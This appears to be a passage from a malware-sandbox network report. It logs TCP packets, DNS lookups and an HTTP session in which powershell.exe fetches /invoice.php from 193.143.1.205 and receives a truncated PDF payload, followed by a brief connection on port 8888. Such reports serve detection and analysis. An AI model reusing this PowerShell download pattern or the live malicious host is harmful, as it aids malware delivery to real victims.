Jan 11, 2025 03:43:27.650753975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.650753975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.650758028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.650789022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.650823116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.650851011 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.650851011 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.650857925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.650892973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.650935888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.650944948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.650980949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.651017904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.651051998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.651078939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.651087046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.651089907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.651335955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.651371002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.651382923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.651406050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.651458025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.654732943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.681723118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.681797981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.681835890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.681869984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.681885004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.681907892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.681950092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.681956053 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.681992054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.682009935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.688762903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.688776970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.688787937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.688891888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.688891888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.688909054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.688944101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.688968897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.688980103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.688982964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.689026117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.701711893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.701741934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.701797009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.701828957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.701848984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.701884985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.701936960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.701973915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.702001095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.702001095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.702008963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.702061892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.702097893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.702131987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.702142000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.702142000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.702167988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.702202082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.702236891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.702244043 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.702270985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.702272892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.702306986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.702348948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.703608990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.703661919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.703716040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.703737974 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.703749895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.703787088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.703821898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.703826904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.703859091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.703887939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.703887939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.703970909 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.704251051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.704304934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.704356909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.704361916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.704391956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.704427004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.704454899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.704521894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.704555988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.704579115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.704593897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.704629898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.704664946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.704703093 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.704703093 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.704716921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.704751015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.704783916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.704797029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.704818010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.704852104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.704863071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.704886913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.704938889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.704938889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.704974890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705009937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705044031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705066919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.705096960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705106020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.705127954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705178976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.705179930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705214977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705249071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705282927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705285072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.705318928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705353022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705357075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.705385923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705401897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.705420971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705456018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705490112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705518961 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.705523968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705532074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.705579996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705614090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705647945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705672026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.705681086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705714941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705718040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.705751896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705785990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705820084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705822945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.705822945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.705857992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705894947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705926895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705940008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.705960035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.705965996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.705996990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.706048965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.706049919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.706087112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.706115961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.706144094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.706149101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.706183910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.706217051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.706222057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.706253052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.706279993 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.706288099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.706321955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.706343889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.706357002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.706428051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.738975048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739029884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739067078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739079952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.739101887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739136934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739147902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.739192009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739227057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739237070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.739263058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739299059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739305973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.739356041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739399910 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.739407063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739440918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739485979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.739492893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739526033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739567041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.739578009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739608049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739641905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739650965 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.739677906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739711046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739717960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.739747047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739780903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739787102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.739816904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.739857912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.740037918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.740091085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.740125895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.740132093 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.740209103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.740245104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.740251064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.740281105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.740315914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.740320921 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.744088888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.777885914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.777903080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.777915001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.777928114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.777937889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.777949095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.777957916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.777964115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.777976990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.777998924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.778053999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.790429115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.790487051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.790529966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.790548086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.790584087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.790637016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.790637970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.790673971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.790709019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.790721893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.790800095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.790831089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.790854931 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.790884018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.790919065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.790934086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.790971994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.791007042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.791018009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.791042089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.791081905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.791089058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.791112900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.791173935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.792409897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.792444944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.792480946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.792495966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.792517900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.792552948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.792562008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.792588949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.792629957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.792658091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.792731047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.792774916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.792783976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.792814970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.792869091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.792876005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.792924881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.792959929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.792965889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.792998075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.793042898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.793051958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.793088913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.793119907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.793133974 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.793157101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.793200016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:28.036508083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:28.044804096 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:28.183455944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:28.645251989 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:28.650155067 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:28.650269032 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:28.650460005 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:28.655267954 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:29.452584028 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:29.496229887 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:29.633975983 CET	49706	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:43:36.360249043 CET	61405	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:43:36.360249043 CET	192.168.2.8	1.1.1.1	0x5887	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:43:36.367513895 CET	1.1.1.1	192.168.2.8	0x5887	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:43:37.059959888 CET	1.1.1.1	192.168.2.8	0x715f	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:43:37.059959888 CET	1.1.1.1	192.168.2.8	0x715f	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:44:42.731079102 CET	1.1.1.1	192.168.2.8	0x301c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:44:42.731079102 CET	1.1.1.1	192.168.2.8	0x301c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.143.1.205	80	7980	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:43:26.192140102 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:43:27.019776106 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:43:26 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
